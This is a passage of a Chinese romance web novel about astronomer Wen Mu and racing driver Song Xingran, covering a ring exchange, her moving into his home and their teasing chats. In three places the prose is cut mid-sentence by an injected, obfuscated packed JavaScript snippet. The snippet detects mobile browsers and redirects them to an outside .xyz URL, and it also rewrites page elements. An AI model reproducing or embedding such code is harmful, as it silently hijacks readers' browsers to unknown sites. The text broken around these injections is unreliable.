将近一米九的身高,宽肩窄腰的倒三角身材,黑色西装下若隐若现的肌肉线条,还有那张棱角分明、漂亮却带着几分野性的脸。 他是在卖萌吗?? 拜托,他能不能做一些跟他的外表符合的事情啊。 “你能不能正经点。”温木扶住眼镜。 宋星燃向前一步,将她困在自己与石柱之间:“怎么办,一看到温老师,我就正经不起来。” 他的气息笼罩下来,像一张无形的网。 温木抬眼看他,片刻,伸手贴上他的胸口。 男人明显怔了一下,但很快露出饶有兴致的表情,任由她的手指在西装上游走。 白皙的指尖从胸口缓缓下滑,经过紧绷的腹部,最后停在大腿外侧。她能感觉到掌心下的肌肉瞬间绷紧,像拉满的弓弦。 “温老师这是……”宋星燃的声音哑了几分。 手指突然转向内侧,男人整个僵住了。 下一秒,温木迅速从他裤袋里摸出一串钥匙,在指尖转了一圈。 “借用一下你的车,不介意吧?”她晃了晃钥匙,没等他回答就转身离去,黑色短裤下那双长腿在阳光下白得晃眼。 宋星燃站在原地,半晌才回过神来。 他低头看了看自己明显紧绷的裤线,又看向已经走到兰博基尼旁的温木,突然笑出声。 “喂!”他大步追上去,“你知道这车怎么启动吗?” 温木已经坐进驾驶座,正研究着复杂的控制面板。 听到脚步声,她降下车窗:“试试就知道了。” “需要指纹解锁。”宋星燃撑在车顶上,俯身看她,“而且这车改装过,没开过超跑的人很容易——” “砰”的一声,引擎发出低沉的咆哮。 温木调整了一下后视镜,冲他微微一笑:“我有一篇论文是在智利阿塔卡马沙漠做的,那里的山路比这车难开多了。” 宋星燃眯起眼睛:“你偷我钥匙就为了这个?” “不然呢?”温木推了推眼镜,“宋三少以为我要做什么?” 阳光透过挡风玻璃洒在她脸上,镜片后的眼睛像盛满了星光的夜空。宋星燃突然伸手扣住她的后颈,在唇即将相触的瞬间停下。 “下次,”他的呼吸喷在她唇上。 “别光说不练。” 温木直视他的眼睛,突然踩下油门。兰博基尼猛地向前一蹿,逼得男人不得不松手后退。 “下次再说。” 她升起车窗,黑色超跑像离弦的箭般驶出停车场,只留下宋星燃站在原地,笑得像只偷腥的猫。 * 温木把车停在天文馆后门的员工车位,步行穿过两条街来到宁大校园。 那辆黑色兰博基尼太扎眼,她可不想成为校园论坛的焦点。 手机震动了一下。 Lgnis:【去工作了?】 温木皱眉。 他怎么知道自己的行踪? Jupiter:【你怎么知道?】 Lgnis:【因为我有千里眼】 Jupiter:【那你可以顺风耳一下,我现在在说什么吗?】 Lgnis:【你在说,你好想我】 Jupiter:【我是想你。】 Jupiter:【想你滚蛋。】 发完这条,她直接开了消息免打扰,把手机塞进包里。 六月的校园绿树成荫,天文楼灰白色的建筑在阳光下显得庄重而宁静。 515办公室门前,温木轻轻敲门。 “请进。”里面传来清朗的女声。 推门而入,高崇华正伏案批改论文,听到动静抬起头,眼角立刻堆起笑纹:“小温来了,快坐。” 办公室里摆满了各种星图和小型天文仪器,书架上塞满专业书籍,窗台上还放着几盆长势喜人的多肉植物。 “抱歉高老师,早上有点事耽搁了。”温木在会客椅上坐下,将包放在脚边。 高崇华摆摆手,起身给她倒茶:“不打紧不打紧,你们年轻人事情多。” 她推来一杯冒着热气的龙井,“尝尝,我儿子刚从杭州带回来的。” 温木双手接过,茶香沁人心脾。她注意到桌上摊开的是于茉最近的观测数据报告。 “小于的热木星成分研究进展不错,”高教授顺着她的目光说道,“你们那个中外合作项目呢?马普所那边还顺利吗?” “光谱分析部分已经完成了前期数据处理,”温木从包里拿出平板,调出几组图表,“我们发现了WASP-121b大气层中存在电离铁的证据,这与模型预测相符。” 高教授戴上眼镜仔细查看数据,不时点头:“马普的Schmidt教授很看重你,上次视频会议还特意提到希望你负责后期欧洲站的观测工作。” 温木的指尖在平板上轻划,调出另一组数据:“Schmidt教授太抬举我了。不过如果项目需要,我愿意中欧两地跑。” “年轻人多出去看看是好事,”高教授啜了一口茶,“不过你刚回国没多久,家里没意见?” 温木的手指微微一顿。 她现在,不仅是女儿,还多了一层身份,妻子。 “学术交流而已,应该……没问题。”她低头抿了口茶掩饰表情。 “那就好。”高教授意味深长地看了她一眼,没再追问,“对了,下周三的学术报告你准备得如何?” “PPT已经做好了,主要是关于系外行星大气逃逸率的计算新方法。”温木放下茶杯,“我正想请高老师帮忙看看有没有需要调整的地方。” “你办事我放心,”高教授笑道,从抽屉里取出一份文件,“不过有件事得提前跟你说,学校计划扩建天文观测基地,院里想让你参与选址评估。” 温木眼睛一亮。 宁大现有的观测站设备老旧,扩建计划已经讨论了五六年。 “冷湖还是首选吗?” “初步定在那里,光污染指数和大气稳定度都符合要求。”高教授递过文件,“但具体选址还得实地考察,可能要在高原待一两周。你身体吃得消吗?” 温木接过文件快速浏览:“就算有问题我也得去。您这么大年纪还要去,我自然不能拖后腿。” “哈哈哈,不错。” 谈话间,温木的余光瞥见窗外一只喜鹊落在枝头,嘴里衔着一根闪闪发光的金属丝。 不知怎么,她突然想起宋星燃今早舔她手背时,眼睛里也闪着类似的光。 还,挺可爱。 “小温?”高崇华的声音把她拉回现实,“这部分计算你有什么建议吗?” 温木迅速收敛心神,将注意力重新集中在数据上。天文楼外的蝉鸣渐响,办公室里却只有平板电脑的轻微运转声和偶尔的翻页声。 在这个她熟悉的学术世界里,温木又恢复了那个冷静自持的天文学博士模样。 * 暮色四合,天文馆前的路灯次第亮起,在柏油路面上投下斑驳的光影。 温木告别高教授时已是晚上八点,校园里人影稀疏,只有几只夜猫在灌木丛中窸窸窣窣。 那辆黑色兰博基尼依然安静地停在天文馆后门,像一头蛰伏的野兽。 温木刚摸出钥匙,身后就传来熟悉的声音:“温博士!这么晚还在工作?” 天文馆馆长林之拎着公文包从侧门走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223324|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,镜片后的眼睛笑眯眯的:“听说你这段时间带小朋友观星活动,反响特别好。” 温木转身微笑:“应该的。夏季大三角是入门观测的好目标。” 她一边侧头说话一边拉开驾驶座车门,刚要坐进去,腰间突然被一双温热的大手握住。 那双手位置极低,拇指几乎陷进她的臀部,其余四指则牢牢扣住她纤细的腰肢。 温木浑身一僵。 林之的表情瞬间变得精彩纷呈。 “我、我突然想起还有事!”老教授转身就走,公文包甩得飞起,几步就消失在小路尽头。 身后传来低沉的轻笑,男人略微直起身,胸膛贴上她的腰背:“surprise.(惊喜)” “温老师这是对我投怀送抱?” 温木手肘猛地向后一顶,听到一声闷哼,但腰上的手不但没松,反而搂得更紧。 宋星燃一个用力,直接把她拽到自己腿上。隔着薄薄的短裤贴上他的大腿,能清晰感受到西装裤下紧绷的肌肉线条。 “你要谋杀亲夫吗?”他在她耳边呼气,声音里带着痛楚的笑意。 “不行吗?”温木冷冷道。 “我死了,谁来喂你?” “Noonedoesmebetterthanme.”温木用英语回击,清冷的嗓音在夜色中格外性感。 宋星燃低笑出声,胸腔震动透过相贴的背部传来:“温老师居然也看美国片?” “学英语的工具而已。” 话音刚落,耳垂突然被咬住。 温木“啊”地轻呼一声,那声音娇得她自己都吓了一跳。 身后的男人明显僵住了,随即传来得逞的笑声:“不正经。” 温木耳根发烫:“什么时候松开我?” “再抱一会。”宋星燃的声音暗哑,鼻尖蹭过她后颈的碎发。 温木淡淡道:“再抱一会我们就要上新闻了。” “不怕,我本来就上过很多次。”他的手不安分地在她腰侧摩挲,“《宋三少当街调戏良家妇女》,标题我都想好了。” 温木挣扎了一下:“我怕。” “你不是答应我,不出席社交活动吗?” “这算哪门子社交活动。”宋星燃的唇几乎贴在她耳廓上。 “顶多算……夫妻情趣。” 又僵持了几分钟,温木终于被放开。 她立刻从男人腿上弹起来,头也不回地往前走。 身后传来引擎的轰鸣,兰博基尼以龟速跟在她身侧。 车窗降下,宋星燃单手扶着方向盘:“温老师,这边建议您上车呢。” 路过的学生纷纷侧目,有人已经掏出手机。 温木加快脚步,那辆车也跟着加速,始终保持在她身侧一米处。 “还有事?”温木终于停下,咬牙切齿地问。 宋星燃笑得人畜无害:“爸妈喊吃饭。” “沈姨没跟我说。” “所以直接赶我来接你了。”他眨眨眼,“惊喜不惊喜?” 温木深吸一口气:“地址,我自己去。” “生气啦?”宋星燃歪头看她。 温木不说话,只是用那双清冷的眼睛静静看着他。 “好吧好吧,”男人举手投降,“托斯卡纳,顶层。” * 半小时后,温木站在酒店顶层露台的入口处。 推开沉重的玻璃门,眼前的景象让她怔在原地。整个露台空无一人,只有正中央摆着一张铺着白桌布的餐桌。烛光在水晶杯上跳跃,玫瑰花瓣散落在周围,远处是宁川市璀璨的夜景。 “宋星燃?”她轻声呼唤。 “你迟到了。”男人的声音从身后传来,温热的胸膛贴上她的背脊。 温木转身,宋星燃不知何时已经站在她身后,西装外套不知去向,白衬衫的袖口挽到手肘,露出结实的小臂。他手里拿着两杯香槟,烛光在那双深邃的眸子里跳动。 “你这是,干什么?”温木接过酒杯,指尖不小心碰到他的。 男人低头看她,嘴角勾起一抹痞笑:“看不出来吗?” “我在跟你约会啊。” 11. For the stars 温木微微睁大眼睛。 “你跟我约会?” 宋星燃靠在椅背上,烛光在他的眼睛里跳动:“嗯哼。” “为什么?” “我爸妈催的,说我不主动,一点都没有个丈夫的样。”他耸耸肩,喉结在领口若隐若现。 温木挑眉:“我也没让你主动。” “喂,”宋星燃突然倾身向前,指尖敲了敲桌面,“你人都在这了,难不成还想跑啊?” 温木抿了一口香槟,气泡在舌尖炸开:“跑什么?” 她放下酒杯,镜片后的眼睛闪过一丝狡黠,“宋三少这样的优质股,我好不容易抢到手,不得好好把握?” 男人的睫毛几不可察地颤了一下,随即恢复那副痞笑:“温老师终于开窍了。” 服务生适时地送上菜肴——松茸鸡汤、清蒸鲈鱼、百合炒时蔬,都是养胃的清淡菜色。 露台四周的玻璃围栏外,宁川市的夜景如星河倾泻,远处江面上的游船灯光像流动的钻石。 烛光在两人之间摇曳,在温木白皙的脸上投下柔和的光影。 整顿饭两人都没怎么说话。 温木小口小口地吃着,偶尔抬头看向远处的灯火。宋星燃发现她咀嚼时脸颊会微微鼓起,像只囤食的松鼠,与平日清冷形象反差强烈。 餐盘撤下后,宋星燃问:“想不想吃冰淇淋?” 温木愣了一下。她胃不好,平时很少碰生冷食物,但此刻却莫名有些馋。 她轻轻点头。 服务生很快端上一个深蓝色丝绒小盒。 宋星燃接过,推到温木面前:“打开看看。” 好奇怪,还有装在这种盒子里的冰淇淋吗? 丝绒盒盖掀开的瞬间,温木的呼吸轻轻滞住。 盒中黑缎衬垫上,一对戒指在烛光下流转着星辉。 女戒以18K玫瑰金打造出优雅的星环造型,中央镶嵌着一颗稀有的橙钻,周围环绕着七颗渐变蓝宝石,似是云带纹路。男戒则是铂金卫星造型,灰月光石戒面随光线流转,每一处切面都闪着细碎的光。 温木的指尖悬在戒指上方,烛焰在她瞳孔里微微晃动。她看了许久才抬头,正对上宋星燃含笑的眼。 “好看吗?” 他唇角扬起惯常的弧度,指节却在桌面上无意识地轻叩。 温木没有回答,只是问他:“为什么准备这个?” 她的声音比想象中柔软。 男人挑眉:“哪家夫妻结婚不戴戒指?” 语气还是吊儿郎当的,却忽然放轻了声线。 “那什么,大概过两个月,我就要走了,办婚礼太匆忙。” 他顿了顿,喉结滚动,“等我冬休期回来,我们再办,到时候,我一定让你成为全宁川最幸福的新娘。” 最后半句几乎称得上温柔。 温木望着男人映着烛光的眼睛,胸口泛起奇异的温热。 她以为宋星燃忘记了婚礼这茬,原来没有,甚至早都规划好了。 “喜欢吗?”他又问她一遍。 温木点头,发丝垂落肩头。 “那我帮你戴上?”他在请求她的意见。 她垂眸,用眼神默认。 宋星燃起身时带起一阵雪松气息的风。 他喷了香水。 薄荷味和雪松味,就这两种。 他在她面前单膝蹲下,温木第一次可以俯视他。烛光描摹着他高挺的鼻梁,睫毛在眼下投出扇形阴影。 男人取出那枚星群般的女戒,宽大掌心托着小小指环的模样,像捧着易碎的星光。 “手。”他轻声说。 温木伸出左手,无名指微微轻颤。男人的动作异常小心,指尖偶尔擦过她指腹,激起细小的战栗。 当冰凉的金属触到指尖,另一只手攥紧了椅边绒布,心跳声大得仿佛要冲破胸腔。 戒指推至根部的刹那,远处江面恰好有游轮鸣笛,声浪撞碎满室寂静。 “该你了。”宋星燃站起身,将自己的戒指递来。 温木接过男戒,他主动伸出左手。男人的手指修长有力,骨节处有常年握方向盘留下的薄茧。 她低头将戒指缓缓推入,专注得如同调试天文仪器的准星。白金弧线最终停在他无名指根部,月光石映着他冷白的皮肤,像夜空坠入大地。 温木抬头,对上男人的双眸。 也许是因为这枚戒指,也许是因为这个氛围,她忽然想说点什么。 “Forthestars.” 声音很轻,却足够让他听清。 宋星燃俯身,撑住她椅背,鼻尖擦过她的耳垂,带着薄茧的拇指抚过她刚戴上的戒指。 “No.” “Forus.” 夜风拂过露台,吹得烛焰摇曳。 两人呼吸交错间,有玫瑰花瓣从桌沿飘落,无声跌至温木的脚边。 手机铃声响起,打破了这一刻的寂静。 宋星燃接起电话,无奈地捏了捏鼻梁:“妈。” “送了送了,她说喜欢。我也没那么差劲吧?” “知道了,说了多少遍,耳朵都起茧子了。” 温木低头看着手上的戒指,星光与烛光在钻石上交相辉映。 她听见宋星燃说:“不说了妈,我送她回家了。” 挂断电话,男人走到她面前:“回去?” “嗯。” 回程的车里,温木一直望着窗外,手指无意识地转动着新戴上的戒指。 车停在别墅门口,她刚要下车,手腕突然被扣住。 宋星燃的掌心灼热,眼神却异常认真:“我们,什么时候搬出去?” 温木垂眸:“我,都行。” “那就这周末。”他斩钉截铁地说。 “这么快?” 男人勾起嘴角:“他们都说,结婚后夫妻住一起很好玩。” 他俯身靠近,呼吸喷在她耳畔,“我这人啊,最喜欢''玩''了。” 温木用法语低声骂了句:“Espèced''idiot.(你这个白痴)” 出乎意料,宋星燃轻笑一声,流利地用法语回应:“Maisjesuistonidiot.(但我是你的白痴)” 温木转身,男人笑得一脸得逞,虎牙在夜色中若隐若现。 她冷着脸瞪了他一眼,推门下车。 居然,有点可爱呢。 疯了,他一定是疯了。 宋星燃看着温木离去的背影,低头摩挲着无名指上的戒指。 这是他上次拜访完温家后连夜定下的款式。 从温家出来已是凌晨,他直接拨通了卡地亚亚太区总监的私人电话。 半小时后,三辆黑色奔驰停在他的别墅前,六个睡眼惺忪的工作人员抬着三个保险箱鱼贯而入。 “三少,”总监擦了擦额头的汗,将一本厚重的图鉴铺在茶几上,“这些都是尚未公开发售的新款。” 宋星燃赤脚踩在羊绒地毯上,浴袍领口大敞,湿发还在滴水。 他随手翻了几页,眉头越皱越紧:“就这些?” “或者您看看我们的珍藏系列。”总监打了个手势,助手立刻捧上一个丝绒托盘,上面躺着三枚古董戒指,“这是19世纪为奥地利皇室定制的……” “太老气。”男人推开托盘,水珠溅在钻石上,“她适合戴现代的。” 总监与助手交换了个眼神,突然眼睛一亮:“或许,''星轨''系列?” 他从密码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223325|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱底层取出两张设计图,“这是下季度主打,还在瑞士工坊制作样品。” 图纸上,一对戒指在灯光下熠熠生辉。 “这款戒指的设计灵感来源于木星。女戒代表行星,男戒是卫星。”总监小心翼翼地解释,“我们把它命名为''木星引力'',象征卫星永远环绕行星运转。” 指尖在图纸上停滞。 他想起今晚在温家后院,月光下温木仰头看星空的侧脸。她谈起天文学时眼睛发亮的样子,比任何钻石都耀眼。 宋星燃:“主钻加一颗橙宝石,戒圈内侧刻WM&SXR,日期空着。” 总监抹了把汗:“三少,这需要重新设计,至少两周。” “明天中午前我要看到3D模型。”宋星燃干脆利落地合上图鉴,“钱不是问题。” 当总监带着团队匆匆离去时,东方已泛起鱼肚白。 男人站在落地窗前,手里攥着那张设计图复印件。 木星引力。 他低笑,把图纸塞进抽屉最底层。 指腹下的戒指微微发烫,男人揉了揉太阳穴,踩下油门。 黑色兰博基尼无声地滑入夜色,宛如一颗被引力捕获的卫星,朝着它的行星驶去。 * 温木推开家门时,客厅里的两道身影以迅雷不及掩耳之势缩回了探向门口的脑袋。 秦忆猛地抓起遥控器对着电视一通乱按,屏幕里正在播放的购物频道主持人声音骤然拔高;温志远则迅速抖开报纸,举得老高,几乎遮住整张脸。 “爸,妈,我回来了。”温木弯腰换鞋,嘴角微微上扬。 “宝贝女儿回来了。”温志远的声音从报纸后传来,明显高了八度。 “吃过饭了吗?晚上在哪吃的呀?” 温木走到沙发前,看着父母一个坐得笔直如小学生听课,一个把报纸边缘捏出了褶皱。 她伸手按下报纸:“爸,你报纸拿倒了。” 空气凝固了一秒。 温志远清了清嗓子,郑重其事地将报纸对折放在茶几上:“那什么,年纪大了,没看清楚。” 秦忆在一旁憋笑憋得肩膀直抖。 温木一屁股坐在父母中间,左手“啪”地伸到两人面前:“哎呀,看吧看吧看吧。” 语气里带着罕见的娇嗔。 青花瓷吊灯的光线如水般流淌在戒指上,中央主钻折射出的光芒在七颗蓝宝石间流转,仿佛一个微型的行星系统正在她指间运转。 秦忆立刻捧起女儿的手,眼睛亮得像发现新行星:“哎呀呀,真好看!阿燃的眼光比你爸好多了。” “那是自然,”温志远笑着摸摸鼻子,“我不能跟年轻人比。” 温木收回手,戒指在灯光下最后闪了一下:“好啦,人也看了,戒指也看了,我能上去休息了吗?” “去吧去吧,”秦忆拍拍女儿的手背,“好好睡觉。” 二楼卧室里,温木把自己扔进柔软的床铺。天花板上的星空灯是小时候装的,现在早已过了适用年龄,但她一直没舍得拆。 她抬起左手,无名指上的星群在模拟星光下闪烁,恍惚间让她想起之前观测到的仙女座星云。 * 宋家老宅。 客厅里热闹非凡,沈岁的声音里是盖不住的喜悦,电话一个接一个进来。 自己这个便宜儿子总算靠谱一回,她一开始还担心宋星燃是个糙的,不懂女孩心思,选的戒指不对女孩胃口怎么办。 但听到儿子的描述,想来温木是真的喜欢。 三楼,宋星燃边擦边走进卧室,水珠顺着男人的腹肌滑入灰色运动裤的裤腰。 他随手将毛巾搭在肩上,拿起床头震动的手机。 “Jupiter@了你。” 12. For the stars 解锁的手指顿在半空。 宋星燃点开朋友圈,一张照片铺满屏幕——黑暗背景中,一只纤细的手伸向星空般的天花板,无名指上的星群戒指熠熠生辉。 @Lgnis 你的卫星已入轨。 * 手机屏幕在黑暗中亮起。 Lgnis:【卫星入轨需要定期维护】 Jupiter:【比如?】 Lgnis:【比如每天亲一下】 Jupiter:【轨道会偏得更厉害。】 Lgnis:【那正好撞进你怀里】 Jupiter:【拒绝。】 温木侧躺在床上,指尖在屏幕上轻点。 窗外偶尔有车灯扫过天花板,星群戒指随之闪烁。 Lgnis:【怎么都没有人点赞评论?】 Lgnis:【是不是你结婚,朋友都被吓傻了?】 Jupiter:【不是。】 Jupiter:【这是仅你可见的。】 对话框上方“对方正在输入”的提示反复出现又消失足足三分钟后,才弹出一条新消息: Lgnis:【哦】 搞什么,她八百年都不发朋友圈的人,特地发了一条仅他可见,结果就这反应。 温木刚想锁屏,通知栏突然跳出提示。 “Lgnis@了你。” 她点开朋友圈,最新一条来自宋星燃。 同样角度的照片,他骨节分明的手伸向天花板,背景是漆黑的房间,唯一光源是天花板上那盏火焰造型的灯,将他的戒指映得像燃烧的彗星。 @Jupiter引力源申请永久对接权限 几乎刚刷新,点赞和评论就如潮水般涌来: 【燃哥新婚快乐!9999】 【卧槽这戒指!嫂子牛逼!999】 【儿子拍得不错[爱心]】 【啊啊啊我死了这什么神仙爱情!】 温木把脸埋进枕头里闷哼一声。 这人怎么这么张扬? 她都发了仅他可见,他就不能学一下她的低调吗! Jupiter:【什么意思?】 Lgnis:【你都@我了,我不得回敬一下】 Jupiter:【可是我只发给你看了。】 Lgnis:【奥】 Lgnis:【但我想让全宇宙都知道】 Lgnis:【你是我老婆】 温木把手机反扣在胸口,屏幕贴着睡衣砰砰直跳。 视频通话的铃声突兀响起,于茉的大脸瞬间占满屏幕。 “阿!木!”闺蜜的尖叫声几乎穿透耳膜,“你看到宋星燃的朋友圈了吗?我刚刷到差点从床上滚下去!” 温木把手机拿远了些,顺便堵上一只耳朵:“看到了。” “那戒指绝对是卡地亚最新高定!我表哥在拍卖行工作,说这种级别的蓝宝石,最起码三百万!” 这么贵吗? 温木倒是没想到。 难道是因为,她之前说要给他房子,刺激到他了? 小心眼的男人。 温木的嘴角微微扬起。 “茉茉,”她犹豫片刻,还是开口:“这周末我要搬去他那里了。” 屏幕里的于茉突然静止,然后爆发出更高分贝的尖叫:“这这这这就同居啦?!你们这进度条拉得比他比赛时还快!” 她凑近镜头,神秘兮兮地压低声音,“所以,你们那个,有没有……” 温木冷静打断:“没有。” 有新的消息发来。 Lgnis:【不理我?】 Lgnis:【在跟别人聊天?】 Lgnis:【快理我!】 “那个家伙又来烦我了。”温木无奈地对于茉说。 于茉表示“我懂我懂”:“去吧去吧,春宵一刻值千金~” 视频刚挂断,宋星燃的消息又跳出来: Lgnis:【睡了?】 温木盯着屏幕看了几秒,慢慢打字。 Jupiter:【睡了。】 Lgnis:【哦】 Lgnis:【好吧】 Lgnis:【晚安】 温木将戒指小心翼翼地摘下来,想了一会,起身,从首饰盒里翻出一条素链,把戒指套上去,然后挂在床头灯上。 她关掉灯,整个人缩进被子里,默默地看着那条项链出神。 天花板上的星星灯还在发光,微弱如真实的星光。 明天就要搬去他们的新家了,会是什么样的生活呢? 似乎,有点期待。 枕头下的手机又震动了一下。 温木挣扎片刻,还是摸出来看。 Lgnis:【对了】 Lgnis:【搬家记得把星星灯带上】 Lgnis:【我喜欢】 * 周日上午。 温木拉开门时差点撞上一堵人墙。 宋星燃倚在门框上,黑色T恤松松垮垮地套在身上,露出一截锁骨。运动裤的抽绳随意垂着,头发似乎比昨天见时长了些,碎发扫过眉骨,衬得那张脸越发精致。 “早上好。”他懒洋洋地打招呼。 温木扶了扶眼镜:“早上好。” 她看了眼手表,“你大上午来干什么?” “接你回家啊。”男人直起身,高出她大半个头的身影笼罩下来。 “我还要去学校。”温木皱眉。 “我以为晚上过去就行。” 宋星燃不爽地“啧”了一声:“行李都收拾好了。” 温木探头看向前院,四五个佣人正把她的箱子往一辆黑色商务车上搬,秦忆站在一旁指挥着,连她小学时收集的天文邮票都被妥善包装好了。 “你等一下。”她无奈地拿出手机。 「一二三四(5)」群聊里。 Jupiter:【我有点事,晚点到。辛苦大家了。】 回复瞬间刷屏: 萌萌哒:【木姐新婚快乐!搬家快乐!】 小梧桐:【木姐新婚快乐!】 樾:【木姐要永远幸福!】 温木叹气,继续打字: Jupiter:【@茉茉唧唧大嘴巴茉茉。】 茉茉唧唧:【[笑脸][笑脸]】 锁屏,父母已经站在前院里。 秦忆眼眶通红,手指不停抹着眼角;温志远搂着妻子肩膀,脸上带着笑,眼角却也有泪光闪烁。 温木心尖一酸,快步走到父母面前:“妈,别哭。” 她轻轻抱住母亲,“我住得很近,每周都能回来吃饭。” “枝枝长大了。”秦忆摸着女儿的脸,转向门口的宋星燃。 “阿燃,你要好好对我们枝枝。”语气是诚恳的,是殷切的。 男人难得正色:“叔叔阿姨放心。” 他走过来,犹豫片刻,鞠了一躬,“谢谢你们把温木交给我。” 温志远拍拍他肩膀:“有空常回来吃饭。” 二十分钟后,黑色商务车驶入“星河湾”别墅区。 温木望着窗外掠过的蓝花楹,突然意识到——这是她第一次以女主人的身份踏入这个家。 佣人们效率极高,等他们进门时,十几个箱子已经整齐码放在客厅中央。 温木刚打开最上面的行李箱,一只手突然按在箱盖上。 “你要干嘛?”宋星燃皱眉。 “收拾。”温木试图推开他的手。 “等佣人收拾就好了。” 温木挣开他,淡淡道:“你不懂。收拾家也是一件很有条理的事情。” 她瞥了男人一眼,微微勾唇,声音轻下来,“又不用你动,我自己来就好。” 宋星燃半天没说话。 温木抬头,正对上他玩味的眼神——眼睛微微眯起,目光从她眼睛滑到嘴唇,又缓缓下移,像在审视猎物。 “怎么?”她问。 “温老师。”男人俯身逼近,声音低哑。 “你是故意的?” 温木挑眉:“我是成心的。” 说完抱起一叠衣服,径直绕过他上楼。 主卧宽敞明亮,落地窗外是开满玫瑰的花园。 温木打开衣柜,发现一半空间已经清空,挂衣杆上甚至贴了张便利贴:【你的地盘】。 字迹龙飞凤舞,旁边还画了个歪歪扭扭的星星。 她忍不住弯起嘴角,开始将衣服按颜色和季节分类挂好。 她踮脚去够最高层的隔板,一双手从身后接过那叠毛衣。 “我来。”宋星燃不知何时跟了上来,轻松将衣服放进顶层,“还有什么要放的?” 长得高就是好。 温木叹气,指指地上的几个玩偶:“那些放飘窗。” 宋星燃抱起那只半人高的白色狗狗玩偶,表情古怪:“这玩意儿比我赛车服还贵吧?” “于茉去年从日本带回来的限量款。”温木将其他玩偶一个个摆在飘窗上,轻轻拍拍它们的脑袋,动作温柔得像在安抚小朋友。 男人撇撇嘴:“这东西管用?” 他指的是她的睡眠问题。 温木没回头:“比你管用。” “你没试过怎么知道?” “直觉。” 男人靠在墙边看她忙碌。阳光透过纱帘洒在温木身上,给她镀了层柔光。 她整理书架时会将书脊对齐,摆放绿植时会先擦干净叶片,连调整台灯角度都透着股学术般的严谨。 他以前从来没有觉得,看一个人收拾房间竟能是件这么—— 愉快的事。 “这个放哪?”他拿起温木的天文台纪念杯。 温木回头,宋星燃正用指腹小心擦拭杯底的灰尘。 心里某个角落突然软了一下。 “床头柜吧。”她轻声说。 男人点点头,转身时T恤下摆掀起一角,露出精瘦的腰线。 温木迅速移开视线,假装专注地给多肉植物浇水。 水流声里,她听见自己心跳得有些快。 * 直到晚上七点,最后一个箱子才终于清空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223326|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温木揉了揉酸痛的腰,看着焕然一新的卧室——她的天文书籍整齐排列在定制书架上,几个玩偶惬意地靠在飘窗垫上,连床头柜上的原子钟都调成了格林尼治时间。 “真对不起,耽误温老师工作了。”宋星燃靠在门框上,语气混蛋得要命。 温木瞪他一眼:“饿了。” 外卖比预想中来得快。 当温木看到印着“宋公馆”logo的保温食盒时,眉毛差点飞进发际线。六层食盒里装着龙井虾仁、清炖狮子头、芦笋炒百合,甚至还有一盅冰糖燕窝。 “你家厨师还接外卖单?”温木夹起一块虾仁,鲜甜的口感让她眼睛微微眯起。 宋星燃耸肩:“老头听说我要叫外卖,差点把锅铲扔我脸上。” 五星大厨的手艺,怎么说都不会差到哪里去。 温木吃得很开心,宋星燃却没怎么吃,好几道菜碰都没碰。 拿人手短,吃人嘴软,该关心还是要关心一下。 “不合胃口?”她问。 “控制饮食。”男人戳了戳碗里的鸡胸肉,“干这行的都这样。” 这是他们第一次聊到他的职业。 温木没有阻止自己的好奇心,放下筷子:“你,为什么会选择赛车?” 宋星燃挑眉:“干嘛关心这个?” “你是我老公,”温木抿了口茶,“我不可以关心你吗?” 她声音很轻,“我只是好奇。我的朋友里没有赛车手,甚至没有从事相关行业的。” “就当,给我讲讲故事?” 男人轻咳一声,摸了摸微微发红的耳尖,开始滔滔不绝:十岁第一次摸卡丁车方向盘,十五岁在地下赛道一战成名,二十岁成为F1最年轻的分站冠军…… “我拿的第一个冠军在墨尔本,”他眼睛亮得像装了星星,“最后三圈雨战,所有人都以为我会保守,我偏要全油门过弯。” 他比划着动作,手臂上还留着当年的伤疤。 温木托腮听着,偶尔提问。 当宋星燃说到今年比利时站的惊天逆转时,她突然问:“那为什么会受伤?” 男人的筷子停在半空。 “不小心。”他生硬地说,肌肉线条在T恤下绷紧,“只是暂时的。冬休期结束前我一定能回到赛场。” 他好像,很介意这个话题。 温木决定以后不再提了,注视着男人失意的眼睛,轻声道:“没关系。” 她想去覆上那双大手,但手到半途,最终只是去抽了张纸巾。 “好好休息。” “我养你。” 男人抬眸,灯光下,温木的眼睛像盛满星光的湖泊,唇角带着罕见的柔和弧度。 他突然站起来收拾碗筷:“谁要你养!” 温木看着他同手同脚走进厨房的背影,无声地笑了。 * 果然,同居第一件麻烦事就是谁先洗澡。 虽然别墅有好几个卫生间,但宋星燃非要跟温木抢二楼那个。 “你是几天没洗澡了吗?”温木不耐。 宋星燃笑嘻嘻:“不是。” “我就是想跟你作对。” 无聊! 温木最后还是让给他了。 尊老爱幼,中华传统美德。 